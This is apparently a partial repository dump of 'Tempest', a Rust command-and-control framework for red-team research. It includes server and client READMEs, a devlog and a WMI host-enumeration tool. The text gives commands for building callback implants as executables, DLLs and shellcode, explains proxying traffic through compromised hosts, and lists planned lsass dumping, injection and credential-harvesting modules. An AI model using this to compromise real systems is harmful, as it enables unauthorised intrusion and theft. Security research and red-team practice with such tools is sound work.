get_process_name fn and print the string 64 | println!("process name: {}", func::get_process_name(kernel32)); 65 | 66 | //call the get_system_domain fn and print the string 67 | println!("domain: {}", func::get_system_domain()); 68 | 69 | } -------------------------------------------------------------------------------- /conduit/readme.md: -------------------------------------------------------------------------------- 1 | #### Conduit 2 | 3 | ##### Overview 4 | 5 | Conduit is a Terminal User Interface (TUI) application that allows you to connect to an Anvil server, build implants (imps), issue tasks, and retrieve data from connected imps. This tool provides a user-friendly interface for managing and interacting with Anvil implants. 6 | 7 | ##### Known Issues 8 | 9 | - As of 10.07.2024, there is an issue with the TUI not properly updating on some terminals when the window is resized. A temp workaround is to press F1 on your keyboard which will clear the terminal and refresh the TUI. I'm still working on a fix for this. See devlog and issue #10 for more details. 10 | 11 | ##### Features 12 | 13 | - Connect to Anvil server securely 14 | - Build new implants with customizable parameters 15 | - View and manage connected implants 16 | - Issue tasks to individual implants 17 | - Retrieve and display output from implants 18 | - Support for both Windows and Linux implants 19 | - Real-time updates of implant status and output 20 | 21 | ##### Installation 22 | 23 | 1. Ensure you have Rust and Cargo installed on your system. 24 | 2. Clone this repository: 25 | ``` 26 | git clone https://github.com/yourusername/conduit.git 27 | ``` 28 | 3. Navigate to the project directory: 29 | ``` 30 | cd conduit 31 | ``` 32 | 4. Build the project: 33 | ``` 34 | cargo build --release 35 | ``` 36 | 37 | ##### Usage 38 | 39 | 1. Run the application: 40 | ``` 41 | ./target/release/conduit 42 | ``` 43 | 2. Enter the Anvil server IP address, username, and password when prompted. 44 | 3. Use the TUI to interact with the Anvil server and manage implants. 45 | 46 | ##### Commands 47 | 48 | - `help`: Display available commands 49 | - `build `: Generate a new implant 50 | - `use `: Interact with a specific implant 51 | - `q` or `quit`: Exit the program or current session 52 | 53 | When interacting with an implant, additional commands are available based on the implant's operating system (Windows or Linux). 54 | 55 | ###### Example Build Commands 56 | 57 | 1. Build a Windows executable implant: 58 | ``` 59 | build windows exe 192.168.1.19 443 2 50 60 | ``` 61 | 62 | 2. Build a Windows implant with no loader in raw format: 63 | ``` 64 | build windows_noldr raw 192.168.1.19 443 30 60 65 | ``` 66 | 67 | 3. Build a Linux ELF implant: 68 | ``` 69 | build linux elf 192.168.1.19 443 20 27 70 | ``` 71 | 72 | ##### Configuration 73 | 74 | The application uses a `config.toml` file for configuration. Ensure this file is present in the same directory as the executable and contains the necessary settings, including the server port. 75 | 76 | ##### Security 77 | 78 | This application uses HTTPS for communication with the Anvil server. However, it currently accepts invalid SSL certificates. Exercise caution when using this in a production environment. -------------------------------------------------------------------------------- /modules_wip/wmi_runner/src/lib.rs: -------------------------------------------------------------------------------- 1 | use std::collections::HashMap; 2 | 3 | use wmi::{COMLibrary, Variant, WMIConnection}; 4 | 5 | // Runs a WMI query with the provided query parts and returns the formatted results. 6 | pub fn run_wmi_query(query_parts: Vec<&str>) -> String { 7 | // Convert the query Vec<&str> to a single query string. 8 | let query = query_parts.join(" "); 9 | 10 | //TODO remove this print statement after testing 11 | println!("Query: {:?}", query); 12 | let com_con = match COMLibrary::new() { 13 | Ok(con) => con, 14 | Err(_) => return "Error initializing COM Library".to_string(), 15 | }; 16 | 17 | let wmi_con = match WMIConnection::new(com_con.into()) { 18 | Ok(con) => con, 19 | Err(_) => return "Error connecting to WMI".to_string(), 20 | }; 21 | 22 | let results: Vec> = match wmi_con.raw_query(query) { 23 | Ok(results) => results, 24 | Err(_) => return "Error executing WMI query".to_string(), 25 | }; 26 | 27 | let mut output: Vec = Vec::new(); 28 | 29 | for result in results { 30 | for (key, value) in result { 31 | let value_str = match value { 32 | Variant::String(s) => s.clone(), 33 | Variant::UI1(u) => u.to_string(), 34 | Variant::UI2(u) => u.to_string(), 35 | Variant::UI4(u) => u.to_string(), 36 | Variant::UI8(u) => u.to_string(), 37 | Variant::I1(i) => i.to_string(), 38 | Variant::I2(i) => i.to_string(), 39 | Variant::I4(i) => i.to_string(), 40 | Variant::I8(i) => i.to_string(), 41 | Variant::R4(f) => f.to_string(), 42 | Variant::R8(f) => f.to_string(), 43 | Variant::Bool(b) => b.to_string(), 44 | Variant::Array(arr) => arr.iter().map(|v| match v { 45 | Variant::String(vs) => vs.clone(), 46 | Variant::UI1(u) => u.to_string(), 47 | Variant::UI2(u) => u.to_string(), 48 | Variant::UI4(u) => u.to_string(), 49 | Variant::UI8(u) => u.to_string(), 50 | Variant::I1(i) => i.to_string(), 51 | Variant::I2(i) => i.to_string(), 52 | Variant::I4(i) => i.to_string(), 53 | Variant::I8(i) => i.to_string(), 54 | Variant::R4(f) => f.to_string(), 55 | Variant::R8(f) => f.to_string(), 56 | Variant::Bool(b) => b.to_string(), 57 | Variant::Null => "null".to_string(), 58 | _ => "Unsupported Variant type in array".to_string(), 59 | }).collect::>().join(", "), 60 | Variant::Null => "null".to_string(), 61 | _ => format!("{:?}", value), // Use debug formatting for other variants 62 | }; 63 | output.push(format!("{}: {}", key, value_str)); 64 | } 65 | } 66 | 67 | if output.is_empty() { 68 | "No results found".to_string() 69 | } else { 70 | format!("\n{}", output.join("\n")) 71 | } 72 | } -------------------------------------------------------------------------------- /modules_wip/wmi_runner/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::io::{self, Write}; 2 | 3 | fn main() { 4 | println!("Welcome to the WMI Query Runner!"); 5 | println!("This is a simple tool to run WMI queries on a Windows system."); 6 | println!(""); 7 | //2024 @teach2breach 8 | println!("Enter your WMI query, a predefined query number, 'help' for options, or 'q' to quit."); 9 | 10 | // Define predefined queries 11 | let predefined_queries: Vec<(&str, &str)> = vec![ 12 | // System Information 13 | ("1", "SELECT Caption, Version, BuildNumber, OSArchitecture FROM Win32_OperatingSystem"), 14 | ("2", "SELECT Manufacturer, Model, TotalPhysicalMemory FROM Win32_ComputerSystem"), 15 | ("3", "SELECT Name, Manufacturer, SerialNumber FROM Win32_BIOS"), 16 | ("4", "SELECT * FROM Win32_TimeZone"), 17 | 18 | // Hardware Information 19 | ("5", "SELECT Caption, DeviceID, Size FROM Win32_DiskDrive"), 20 | ("6", "SELECT Caption, FreeSpace, Size FROM Win32_LogicalDisk"), 21 | ("7", "SELECT Name, VideoProcessor, AdapterRAM FROM Win32_VideoController"), 22 | ("8", "SELECT Name, Manufacturer, MaxClockSpeed, NumberOfCores FROM Win32_Processor"), 23 | 24 | // Network Information 25 | ("9", "SELECT IPAddress, MACAddress, DHCPEnabled FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=True"), 26 | ("10", "SELECT * FROM Win32_NetworkAdapter WHERE NetEnabled=True"), 27 | ("11", "SELECT * FROM Win32_NetworkLoginProfile"), 28 | 29 | // User and Group Information 30 | ("12", "SELECT * FROM Win32_UserAccount"), 31 | ("13", "SELECT * FROM Win32_Group"), 32 | ("14", "SELECT * FROM Win32_GroupUser"), 33 | 34 | // Software and Process Information 35 | ("15", "SELECT Name, Version, Vendor FROM Win32_Product"), 36 | ("16", "SELECT Name, ExecutablePath, ProcessId FROM Win32_Process"), 37 | ("17", "SELECT * FROM Win32_Service"), 38 | 39 | // Security and Event Information 40 | ("18", "SELECT * FROM Win32_LoggedOnUser"), 41 | ("19", "SELECT * FROM Win32_QuickFixEngineering"), // Installed updates/patches 42 | ("20", "SELECT * FROM Win32_StartupCommand") 43 | ]; 44 | 45 | // Function to print available predefined queries 46 | let print_help = || { 47 | println!("\nPredefined queries:"); 48 | for (key, query) in &predefined_queries { 49 | println!("{}: {}", key, query); 50 | } 51 | println!("\nEnter 'help' to see this list again."); 52 | println!("Enter 'q' to quit."); 53 | println!(); 54 | }; 55 | 56 | // Print help at the start 57 | print_help(); 58 | 59 | loop { 60 | print!("WMI Query > "); 61 | io::stdout().flush().unwrap(); 62 | 63 | let mut input = String::new(); 64 | io::stdin().read_line(&mut input).unwrap(); 65 | let input = input.trim(); 66 | 67 | match input.to_lowercase().as_str() { 68 | "q" => { 69 | println!("Goodbye!"); 70 | break; 71 | } 72 | "help" => { 73 | print_help(); 74 | continue; 75 | } 76 | _ => { 77 | let query = predefined_queries 78 | .iter() 79 | .find(|&&(key, _)| key == input) 80 | .map(|&(_, q)| q) 81 | .unwrap_or(input); 82 | let result = wmi_runner::run_wmi_query(vec![query]); 83 | println!("Result:\n{}", result); 84 | println!(); 85 | } 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /Anvil/README.md: -------------------------------------------------------------------------------- 1 | ### anvil 2 | 3 | anvil is the actual c2 server. It is currently setup only for https communications, both for the implant and client operators. In the future I'll add websockets and other options. Currently the default port is 443. You can change it in the code, but its probably going to be 443 for most uses. In the future I'll add the ability to set flags to specify a port for implants to connect back to, as well as allowing http for cases when you want to let a redirector handle the TLS and force https with your http server. (more info on that when its added) 4 | ## setup 5 | 6 | Since anvil uses https, you'll need SSL/TLS certificates to serve up. For now, this is done by generating your own certificate files, but I'll look at other methods in the future. For testing purposes, here is how to generate the certificates, which should be specified as a full path in the config.toml file and look something like this: 7 | 8 | ``` 9 | CERTIFICATE=/home/kirk/anvil/cert/cert.pem 10 | PRIVATE_KEY=/home/kirk/anvil/cert/key.pem 11 | ``` 12 | 13 | set the operator username and password to connect to the server also in config.toml under [users]. default is forge:forge. please change it. 14 | 15 | generating certs for testing: 16 | 17 | ``` 18 | # interactive 19 | openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 20 | 21 | # non-interactive and 10 years expiration 22 | openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/C=XX/ST=StateName/L=CityName/O=CompanyName/OU=CompanySectionName/CN=CommonNameOrHostname" 23 | ``` 24 | 25 | You'll also need to do some installation setup: 26 | 27 | ``` 28 | [Anvil] 29 | sudo apt-get install libssl-dev pkg-config build-essential 30 | cargo (rust compiler) (for building) (curl https://sh.rustup.rs -sSf | sh) 31 | . "$HOME/.cargo/env" 32 | install cross (cargo install cross --git https://github.com/cross-rs/cross) 33 | install podman or docker (I use docker usually but either should work. this is for cross-compilation with cross) 34 | 35 | [troubleshooting on ubuntu 22.04] 36 | wget https://www.openssl.org/source/openssl-1.1.1u.tar.gz 37 | tar -zxvf openssl-1.1.1u.tar.gz 38 | cd openssl-1.1.1u 39 | ./config 40 | make 41 | make test 42 | sudo make install 43 | if that still doesn't work, copy the libs from the openssl folder to /usr/lib 44 | ``` 45 | 46 | ## Building 47 | 48 | ``` 49 | cargo build --release 50 | ``` 51 | 52 | ## Running 53 | 54 | ``` 55 | sudo setcap 'cap_net_bind_service=+ep' ./target/release/anvil (allows anvil to bind to port 443 without running as sudo) 56 | ./target/release/anvil (run without sudo) 57 | ``` 58 | 59 | ## Building Implants 60 | 61 | Implants are built from the main terminal in conduit, post auth to anvil c2 server. The implants are cross-compiled on the server and downloaded to local by the client. Currently there are 2 released windows variants, that can be built to exe, dll, or raw shellcode. The linux implant can target elf. Mac implants must be built locally by the operator, as they are not yet supported for cross-compilation by the server. Specify the callback ip and port, and then the sleep (in seconds) and jitter (percent of sleep variation). I've given examples below. 62 | 63 | ``` 64 | (from conduit terminal, example build functions) 65 | build linux elf 66 | build windows exe 192.168.1.19 443 2 50 67 | build windows dll 192.168.1.19 443 2 50 68 | build windows_noldr raw 192.168.1.15 443 20 75 69 | ``` 70 | 71 | ## Database 72 | 73 | anvil creates a database using rusqlite (or sqlite). If you need to interact with it directly, I recommend the sqlite browser or sqlite cli. 74 | 75 | ## socks proxy 76 | 77 | to connnect to a socks proxied host, ssh -L 1080:localhost:1080 username@anvilserver 78 | 79 | the socks proxy is configured so that it is never exposed to the open internet. some tools leave all the onus on the operator to make sure they are not leaving an open socks proxy connection available to the whole internet. that is, if someone found your c2 server and the port with the sock proxy, they could potentially send traffic through your compromised host. in order to completely avoid that happening, the socks proxy in this case is only available to localhost on the anvil server. so in order to use the proxy from your attacker machine, you need to be able to SSH into the c2 server with the command I show above, forwarding your port to the c2 server and accessing the compromised host socks proxy locally on the c2. 80 | 81 | ![](socks.jpeg) 82 | -------------------------------------------------------------------------------- /modules_wip/process_list/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "cfg-if" 7 | version = "1.0.0" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 10 | 11 | [[package]] 12 | name = "getrandom" 13 | version = "0.2.15" 14 | source = "registry+https://github.com/rust-lang/crates.io-index" 15 | checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7" 16 | dependencies = [ 17 | "cfg-if", 18 | "libc", 19 | "wasi", 20 | ] 21 | 22 | [[package]] 23 | name = "lazy_static" 24 | version = "1.4.0" 25 | source = "registry+https://github.com/rust-lang/crates.io-index" 26 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 27 | 28 | [[package]] 29 | name = "libc" 30 | version = "0.2.154" 31 | source = "registry+https://github.com/rust-lang/crates.io-index" 32 | checksum = "ae743338b92ff9146ce83992f766a31066a91a8c84a45e0e9f21e7cf6de6d346" 33 | 34 | [[package]] 35 | name = "litcrypt2" 36 | version = "0.1.2" 37 | source = "registry+https://github.com/rust-lang/crates.io-index" 38 | checksum = "4126aa57ac1b3dd20a5bc827a2972cdf74c619a4d6ae5660656408289e5bc60d" 39 | dependencies = [ 40 | "lazy_static", 41 | "proc-macro2", 42 | "quote", 43 | "rand", 44 | ] 45 | 46 | [[package]] 47 | name = "ntapi" 48 | version = "0.4.1" 49 | source = "registry+https://github.com/rust-lang/crates.io-index" 50 | checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4" 51 | dependencies = [ 52 | "winapi", 53 | ] 54 | 55 | [[package]] 56 | name = "ppv-lite86" 57 | version = "0.2.17" 58 | source = "registry+https://github.com/rust-lang/crates.io-index" 59 | checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" 60 | 61 | [[package]] 62 | name = "proc-macro2" 63 | version = "1.0.82" 64 | source = "registry+https://github.com/rust-lang/crates.io-index" 65 | checksum = "8ad3d49ab951a01fbaafe34f2ec74122942fe18a3f9814c3268f1bb72042131b" 66 | dependencies = [ 67 | "unicode-ident", 68 | ] 69 | 70 | [[package]] 71 | name = "process_list" 72 | version = "0.1.0" 73 | dependencies = [ 74 | "litcrypt2", 75 | "ntapi", 76 | "winapi", 77 | ] 78 | 79 | [[package]] 80 | name = "quote" 81 | version = "1.0.36" 82 | source = "registry+https://github.com/rust-lang/crates.io-index" 83 | checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7" 84 | dependencies = [ 85 | "proc-macro2", 86 | ] 87 | 88 | [[package]] 89 | name = "rand" 90 | version = "0.8.5" 91 | source = "registry+https://github.com/rust-lang/crates.io-index" 92 | checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" 93 | dependencies = [ 94 | "libc", 95 | "rand_chacha", 96 | "rand_core", 97 | ] 98 | 99 | [[package]] 100 | name = "rand_chacha" 101 | version = "0.3.1" 102 | source = "registry+https://github.com/rust-lang/crates.io-index" 103 | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" 104 | dependencies = [ 105 | "ppv-lite86", 106 | "rand_core", 107 | ] 108 | 109 | [[package]] 110 | name = "rand_core" 111 | version = "0.6.4" 112 | source = "registry+https://github.com/rust-lang/crates.io-index" 113 | checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" 114 | dependencies = [ 115 | "getrandom", 116 | ] 117 | 118 | [[package]] 119 | name = "unicode-ident" 120 | version = "1.0.12" 121 | source = "registry+https://github.com/rust-lang/crates.io-index" 122 | checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" 123 | 124 | [[package]] 125 | name = "wasi" 126 | version = "0.11.0+wasi-snapshot-preview1" 127 | source = "registry+https://github.com/rust-lang/crates.io-index" 128 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 129 | 130 | [[package]] 131 | name = "winapi" 132 | version = "0.3.9" 133 | source = "registry+https://github.com/rust-lang/crates.io-index" 134 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 135 | dependencies = [ 136 | "winapi-i686-pc-windows-gnu", 137 | "winapi-x86_64-pc-windows-gnu", 138 | ] 139 | 140 | [[package]] 141 | name = "winapi-i686-pc-windows-gnu" 142 | version = "0.4.0" 143 | source = "registry+https://github.com/rust-lang/crates.io-index" 144 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 145 | 146 | [[package]] 147 | name = "winapi-x86_64-pc-windows-gnu" 148 | version = "0.4.0" 149 | source = "registry+https://github.com/rust-lang/crates.io-index" 150 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 151 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Tempest 2 | 3 | ![](tempest_complete.gif) 4 | 5 | Tempest is a command and control framework written in 100% Rust. 6 | 7 | blog post: https://teach2breach.io/tempest-intro/
8 | slides: https://teach2breach.io/defcon/TEMPEST.pptx
9 | virtual talk (youtube): https://www.youtube.com/watch?v=t5MSLPRNXMY
10 | virtual talk on X: https://x.com/Teach2Breach/status/1826307718690320692/video/1
11 | 12 | *For the latest updates and coming update news, see the devlog.md in this repo* 13 | 14 | *This is a research command and control framework.* What I mean by this, is that it is meant for research purposes. It is not meant to fully replace cobalt strike and all your other c2s for production ops. When I decided to write this project, I did so for a learning experience. I wanted to sit and try to plan out the design, and run into all the pitfalls along the way and have to solve them for myself. As the project has matured, I have begun to implement other tools or techniques from various other malware authors. I will try to always cite the original sources, the best that I can. If you notice any lack of attribution, please bring it to my attention so that I can add the credit. Sometimes I cannot always find the original source, in which cases, I have specified that as well. 15 | 16 | Because this is a research c2, the project moves at a slower pace and runs into a lot of issues along the way. So please understand that this is why. What I suggest for how to use this project, is to fork it, modify it, make it your own. Even better, write your own from scratch, using this code as a reference. Read the code, learn the particular techniques, the "why" of certain design decisions, and make your own c2. That's really the point and in my opinion, the most effective use of this framework. 17 | 18 | ##### known issues 19 | - sometimes the conduit client will not display output from the implants. I am working on a fix for this, but in the meantime, if you are not getting output, try restarting your conduit client. Upon reconnecting, it should display all the output from the previous session. 20 | - see the devlog for more details on current issues and features in development 21 | 22 | ##### Check the 'SetupGuide.md' for quick setup (TODO) 23 | The setup guide is being rewritten for public release. 24 | For now, the Anvil server has a README that will help you get started standing up the server. With the server built, you 'cargo build --release' conduit, connect to Anvil, and use the build function to build implants. 25 | More documentation is on the way. 26 | 27 | Now I will provide a bit of a roadmap and current architecture. 28 | 29 | ##### Current Tech Stack: (100% Rust) 30 | 31 | 1. Server: **Anvil** 32 | 33 | - actix.rs & tokio 34 | - https 35 | - api for imps (implants) 36 | - api for conduit (hacker TUI client) 37 | - internal functions (implant builder + shellcode generation) 38 | - sqlite db (rusqlite) 39 | 40 | 2. Implant: **Imp** 41 | 42 | - platform-specific imps (windows, linux, mac) 43 | - payload options as executable, dll, or shellcode (shellcode - windows only) 44 | - simple, yet effective design 45 | - designed with OPSEC in mind. no post-ex module bloat 46 | - modular builds, moving toward giving operators control over granular options 47 | 48 | 3. TUI Client: **conduit** 49 | 50 | - main way of interacting with the server 51 | - Terminal User Interface (TUI) with realtime dashboard display 52 | - user friendly 53 | - cross-platform 54 | - looks cool to your old hacker friends 55 | - scrollable fields (PgUp + PgDn on implants field. Up + Down for output field) 56 | 57 | AI modules - TBD 58 | 59 | ##### Roadmap 60 | 61 | - implement kerberos modules 62 | - harden auth between conduit client and anvil server (SSH key auth over TLS in dev) 63 | - additional protocols for communications between server and implants (websockets in dev) 64 | - peer to peer communications for implants over additional protocols 65 | - enhanced socks proxy and multiplayer sessions handling 66 | - templated implant builds with modular options 67 | - evasion for linux and mac implants 68 | - process injections - 1 custom injection I wrote based on a combination and modification of existing techniques, so far released. more to come. 69 | - custom credential harvesting. *in progress. early PoCs complete. will add* 70 | - AI support modules (may release as seperate libraries/crates) 71 | - logging for command and output history (conduit side). 72 | - options for comms and listener start/stop 73 | 74 | ##### CREDITS (direct code contributions) 75 | note - the repos used here are forks, because they are modified versions to integrate with Tempest. credit is given to original repo author 76 | - BOF Loader: https://github.com/Teach2Breach/coffee.git credits: hakaioffsec 77 | - SOCKS proxy: https://github.com/Teach2Breach/rustpivotclient.git credits: deadjakk 78 | - Runpe: https://github.com/yamakadi/clroxide credits: yamakadi 79 | - Sleep Obfuscation: https://github.com/Teach2Breach/rekkoex credits: c5pider, trickster0 80 | - Inject: https://github.com/FuzzySecurity/Sharp-Suite/blob/master/UrbanBishop credits: FuzzySecurity 81 | 82 | Anybody I missed, please ping me to be added to credits 83 | 84 | ##### CREDITS (inspiration / education) 85 | - 5pider (@C5pider) 86 | - Austin Hudson (ilove2pwn_) 87 | - Trickster0 (@trickster012) 88 | - memN0ps (@memN0ps) 89 | - Kudaes (@_Kudaes_) 90 | - sinusoid (https://github.com/EspressoCake) 91 | - Postrequest (link) 92 | - 2vg (Blackcat-rs) 93 | - TrustedSec && @HackingLZ 94 | - Raphael Mudge (Red Team ops w/ Cobalt Strike) 95 | -------------------------------------------------------------------------------- /devlog.md: -------------------------------------------------------------------------------- 1 | #### 02.21.2025 2 | - been working on other stuff, but getting back to this 3 | - working on a GUI for conduit, using qt, its WIP. 4 | - changed the get_external_ip function on windows_noldr implant to send a placeholder instead of calling out to apify, since that was a high indicator. 5 | - changed the server to scrape https requests for the origin or x-forwarded-for header to get the client ip. 6 | - todo : create an implant variant that does not include the coff loader and is not statically linked. 7 | 8 | #### 12.03.2024 9 | - been working on other projects, so haven't been updating this as frequently. 10 | - going to put together a large update for Christmas. Below I will list the planned updates: 11 | - add a module for dumping lsass with rdump and/or refldump. 12 | - add modules for early-cascade injection and snaploader injection. 13 | - complete a C agent. 14 | - build a modular agent that operator can choose what methods for api resolution to use. 15 | - build a modular agent for including or excluding functionality to better suit the target. 16 | - various QoL updates and improvements. 17 | - update linux and mac implants. 18 | - after the Christmas update, I'll do a discovery sprint to consider adding a GUI client. 19 | - dreamlist: autocomplete for commands, better output display, better session management, better module management. 20 | 21 | #### 10.07.2024 22 | - found a bug in conduit that was causing display issues upon terminal resize. I'm still working on a fix for it, but as a temp workaround I've added a keycode (F1) to perform a manual clear and refresh which fixes the immediate issue. see issue #10 for more details. 23 | 24 | #### 10.07.2024 25 | - added a config file to the conduit client. this allows the server port to be configurable. 26 | 27 | #### 10.06.2024 28 | - added a dev branch. I'll be adding new features to the dev branch from here on out and merging into main periodically. going to prioritize backlog of updates this week. 29 | 30 | #### 09.27.2024 31 | - got a bug report from a test that the windows implant was not compiling due to issues with litcrypt2 in the whoami module. "fixed" it by falling back to original litcrypt. see issue for more details. 32 | - TODO: implement API hashing in builds to remove most litcrypt usage. investigate or create a solution for string encryption on values other than APIs. 33 | - TODO: quality of life updates are behind, will catch up this weekend. 34 | 35 | #### 09.13.2024 36 | - looking at the wmi_runner module. I think I'm going to add a module for each of the different types of execution methods. I think it'll be easier to manage this way, and it'll be easier to add new methods later on. 37 | - Additionally, I noticed in the ImpInfo struct the domain field is redundant, as its already collected and displayed in the username field. I'll remove it from the struct and update the display. I should replace it with the hostname really, but I'll have to do some testing to make sure the domain is always present. 38 | 39 | #### 09.13.2024 40 | - added another experimental implant, this one is in rust and using dinvoke_rs. its under early dev. 41 | 42 | #### 09.13.2024 43 | - added an experimental c implant. its not done. 44 | 45 | #### 09.12.2024 46 | - added an experimental python implant to the repo. this is a proof of concept for a python based implant, which can be used to test api consistency and different functions between python and other implants. 47 | - I'll document the python implant in a bit more detail in the readme.md file for the repo soon. 48 | - It's built using gpt01-mini as an experiment. 49 | 50 | #### 09.12.2024 51 | - made ports configurable in config.toml for both server. The implants were always built with taking user input for callback port, as this change was planned, so now operators have full control over the ports used by the server and implants. 52 | - I have not changed the port in the conduit client, so it still defaults to 8443. I'll modify the conduit client to allow the server port to be configurable in the upcoming commits. 53 | 54 | #### 08.21.2024 55 | - todo: add an option to our main session (main screen) to add a UID to our db for implants built locally (not using anvil server). in this way, we can add arbitrary unique identifiers to our database with the server already running. this will reduce friction for operators who want to use the mac implant or want to build any implants without the server build function. 56 | - mac implant has encryption routines added and can now once again work with our server. see macimp readme for building locally 57 | 58 | #### 08.13.2024 59 | - noticed an issue with the linux implant, maybe present in the windows implant as well, have not confirmed. basically, commands sent from conduit must be getting stripped of all / characters, which means you can never successfully launch a program using the sh command from the linux implant (such as sh ./program) as the / and maybe the period gets stripped away. Shouldn't be a hard fix, but was probably a crappy solution to some other problem I had previously, so I'll likely need to fix something else as well. 60 | - ~~everything tested fine today in the public release, however, I did notice one issue, the conduit client was having issues displaying output from implants and required a couple of restarts. this could be nothing, but if it occurs again, I'll need to take a deeper look at that.~~ 61 | - ~~mac implant will get encryption routines added this week, to get it working with the current version of the server.~~ 62 | - fixed some minor errors in anvil. theres 1 warning left, which I'll address this week. 63 | - added .gitignore files for conduit and Anvil. not sure how they got left out of release, but there's probably some more stuff like that missing to re-introduce after moving repo from private to public. -------------------------------------------------------------------------------- /modules_wip/noldr/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "autocfg" 7 | version = "1.3.0" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0" 10 | 11 | [[package]] 12 | name = "memoffset" 13 | version = "0.9.1" 14 | source = "registry+https://github.com/rust-lang/crates.io-index" 15 | checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a" 16 | dependencies = [ 17 | "autocfg", 18 | ] 19 | 20 | [[package]] 21 | name = "noldr" 22 | version = "0.1.0" 23 | dependencies = [ 24 | "memoffset", 25 | "windows", 26 | ] 27 | 28 | [[package]] 29 | name = "proc-macro2" 30 | version = "1.0.85" 31 | source = "registry+https://github.com/rust-lang/crates.io-index" 32 | checksum = "22244ce15aa966053a896d1accb3a6e68469b97c7f33f284b99f0d576879fc23" 33 | dependencies = [ 34 | "unicode-ident", 35 | ] 36 | 37 | [[package]] 38 | name = "quote" 39 | version = "1.0.36" 40 | source = "registry+https://github.com/rust-lang/crates.io-index" 41 | checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7" 42 | dependencies = [ 43 | "proc-macro2", 44 | ] 45 | 46 | [[package]] 47 | name = "syn" 48 | version = "2.0.66" 49 | source = "registry+https://github.com/rust-lang/crates.io-index" 50 | checksum = "c42f3f41a2de00b01c0aaad383c5a45241efc8b2d1eda5661812fda5f3cdcff5" 51 | dependencies = [ 52 | "proc-macro2", 53 | "quote", 54 | "unicode-ident", 55 | ] 56 | 57 | [[package]] 58 | name = "unicode-ident" 59 | version = "1.0.12" 60 | source = "registry+https://github.com/rust-lang/crates.io-index" 61 | checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" 62 | 63 | [[package]] 64 | name = "windows" 65 | version = "0.56.0" 66 | source = "registry+https://github.com/rust-lang/crates.io-index" 67 | checksum = "1de69df01bdf1ead2f4ac895dc77c9351aefff65b2f3db429a343f9cbf05e132" 68 | dependencies = [ 69 | "windows-core", 70 | "windows-targets", 71 | ] 72 | 73 | [[package]] 74 | name = "windows-core" 75 | version = "0.56.0" 76 | source = "registry+https://github.com/rust-lang/crates.io-index" 77 | checksum = "4698e52ed2d08f8658ab0c39512a7c00ee5fe2688c65f8c0a4f06750d729f2a6" 78 | dependencies = [ 79 | "windows-implement", 80 | "windows-interface", 81 | "windows-result", 82 | "windows-targets", 83 | ] 84 | 85 | [[package]] 86 | name = "windows-implement" 87 | version = "0.56.0" 88 | source = "registry+https://github.com/rust-lang/crates.io-index" 89 | checksum = "f6fc35f58ecd95a9b71c4f2329b911016e6bec66b3f2e6a4aad86bd2e99e2f9b" 90 | dependencies = [ 91 | "proc-macro2", 92 | "quote", 93 | "syn", 94 | ] 95 | 96 | [[package]] 97 | name = "windows-interface" 98 | version = "0.56.0" 99 | source = "registry+https://github.com/rust-lang/crates.io-index" 100 | checksum = "08990546bf4edef8f431fa6326e032865f27138718c587dc21bc0265bbcb57cc" 101 | dependencies = [ 102 | "proc-macro2", 103 | "quote", 104 | "syn", 105 | ] 106 | 107 | [[package]] 108 | name = "windows-result" 109 | version = "0.1.1" 110 | source = "registry+https://github.com/rust-lang/crates.io-index" 111 | checksum = "749f0da9cc72d82e600d8d2e44cadd0b9eedb9038f71a1c58556ac1c5791813b" 112 | dependencies = [ 113 | "windows-targets", 114 | ] 115 | 116 | [[package]] 117 | name = "windows-targets" 118 | version = "0.52.5" 119 | source = "registry+https://github.com/rust-lang/crates.io-index" 120 | checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb" 121 | dependencies = [ 122 | "windows_aarch64_gnullvm", 123 | "windows_aarch64_msvc", 124 | "windows_i686_gnu", 125 | "windows_i686_gnullvm", 126 | "windows_i686_msvc", 127 | "windows_x86_64_gnu", 128 | "windows_x86_64_gnullvm", 129 | "windows_x86_64_msvc", 130 | ] 131 | 132 | [[package]] 133 | name = "windows_aarch64_gnullvm" 134 | version = "0.52.5" 135 | source = 